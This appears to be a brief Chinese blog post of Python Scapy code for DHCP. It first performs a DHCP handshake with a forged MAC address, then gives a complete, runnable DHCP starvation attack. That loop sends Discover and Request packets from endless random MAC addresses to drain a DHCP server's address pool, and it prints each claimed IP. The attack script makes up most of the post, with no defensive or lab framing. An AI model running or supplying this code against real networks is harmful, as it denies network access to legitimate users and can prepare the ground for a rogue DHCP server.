代码

# 1. 定义伪造的 MAC 地址
my_mac = "00:11:22:33:44:55"
my_mac_bytes = b'\x00\x11\x22\x33\x44\x55'

# 2. 构造 BOOTP 必须的 16字节 chaddr (MAC 6字节 + 填充 10字节)
chaddr_pad = my_mac_bytes + b'\x00' * 10

# 3. 生成一个随机事务 ID (XID)
import random
my_xid = random.randint(1, 900000000)
print(f"我的事务ID: {hex(my_xid)}")

#==========================================================

discover = Ether(src=my_mac, dst="ff:ff:ff:ff:ff:ff") / \
           IP(src="0.0.0.0", dst="255.255.255.255") / \
           UDP(sport=68, dport=67) / \
           BOOTP(chaddr=chaddr_pad, xid=my_xid) / \
           DHCP(options=[("message-type", "discover"), "end"])

# 发送 Discover
sendp(discover, iface="eth0", verbose=0)
print("Discover 已发送")

# 捕获 Offer
print("等待 Offer...")
offer = sniff(iface="eth0", filter="udp port 67", count=1, timeout=5)
p_offer = offer[0]
my_ip = p_offer[BOOTP].yiaddr
server_id = p_offer[IP].src
    
print(f"Offer 收到: IP={my_ip}, Server={server_id}")

#==========================================================
 
# 发送 Request
request = Ether(src=my_mac, dst="ff:ff:ff:ff:ff:ff") / \
IP(src="0.0.0.0", dst="255.255.255.255") / \
UDP(sport=68, dport=67) / \
BOOTP(chaddr=chaddr_pad, xid=my_xid) / \
DHCP(options=[("message-type", "request"), 
("server_id", server_id), 
("requested_addr", my_ip), 
"end"])
    
sendp(request, iface="eth0", verbose=0)
print("Request 已发送")
  
# 捕获 Ack
print("等待 Ack...")
ack = sniff(iface="eth0", filter="udp port 67", count=1, timeout=5)
print(f"✅ 成功获得 IP: {my_ip}")

#==========================================================

#dhcp耗尽攻击
from scapy.all import *
import random
import time
# 1. 关闭 IP 检查 (必须! 否则 Scapy 会丢弃来自 DHCP 服务器的 Offer 包)
conf.checkIPaddr = False
print(">>> 开始 DHCP 饿死攻击 (显示获取 IP)... 按 Ctrl+C 停止")
try:
    attack_count = 0
    success_count = 0
    while True:
        attack_count += 1
        # 2. 生成随机 MAC 地址
        fake_mac_str = str(RandMAC())
        # 3. 转换 MAC 为 bytes 格式 (用于 chaddr)
        fake_mac_bytes = bytes.fromhex(fake_mac_str.replace(":", ""))
        # 4. 构造 chaddr (16字节: 6字节MAC + 10字节Padding)
        chaddr_data = fake_mac_bytes + b'\x00' * 10
        # 5. 生成随机事务 ID (XID)
        my_xid = random.randint(1, 900000000)
        # 6. 构造 DHCP Discover 包
        pkt = Ether(src=fake_mac_str, dst="ff:ff:ff:ff:ff:ff") / \
              IP(src="0.0.0.0", dst="255.255.255.255") / \
              UDP(sport=68, dport=67) / \
              BOOTP(op=1, chaddr=chaddr_data, xid=my_xid) / \
              DHCP(options=[("message-type", "discover"), "end"])
        # 7. 发送并等待响应 (使用 srp1 替代 sendp)
        # timeout=0.5: 设置短超时,既能收到包又不至于太慢
        # verbose=0: 关闭 Scapy 内部的发送提示
        reply = srp1(pkt, iface="eth0", timeout=0.5, verbose=0)
        # 8. 检查结果并打印 IP
        if reply and BOOTP in reply and DHCP in reply:
            # 检查是否是DHCP Offer
            if any(opt[0] == 'message-type' and opt[1] == 2 for opt in reply[DHCP].options):
                # yiaddr 字段包含服务器分配给我们的 IP
                offered_ip = reply[BOOTP].yiaddr
                success_count += 1
                print(f"[+] 抢占成功! MAC: {fake_mac_str} -> 获得 IP: {offered_ip}")
                
                # 可以继续发送Request和等待Ack完成完整握手
                # 发送DHCP Request
                request_pkt = Ether(src=fake_mac_str, dst="ff:ff:ff:ff:ff:ff") / \
                             IP(src="0.0.0.0", dst="255.255.255.255") / \
                             UDP(sport=68, dport=67) / \
                             BOOTP(op=1, chaddr=chaddr_data, xid=my_xid) / \
                             DHCP(options=[("message-type", "request"),
                                          ("requested_addr", offered_ip),
                                          ("server_id", reply[IP].src),
                                          "end"])
                # 发送Request但可以不等待Ack(加速攻击)
                sendp(request_pkt, iface="eth0", verbose=0)
            else:
                print(f"\r[.] 收到响应但不是Offer (MAC={fake_mac_str[:12]}...)    ", end="")
        else:
            # 如果超时没收到包,可能是发太快丢包了,或者地址池已空
            print(f"\r[.] 请求 {attack_count} 次 | 成功: {success_count} | 当前MAC: {fake_mac_str[:12]}...", end="")
        
        # 添加小延迟防止过度占用CPU
        time.sleep(0.05)

except KeyboardInterrupt:
    print(f"\n[-] 攻击停止。")
    print(f"[-] 总计: 发送 {attack_count} 次请求, 收到 {success_count} 个Offer")


posted on 2026-01-14 09:03  suiseiseki  阅读(4)  评论(0)    收藏  举报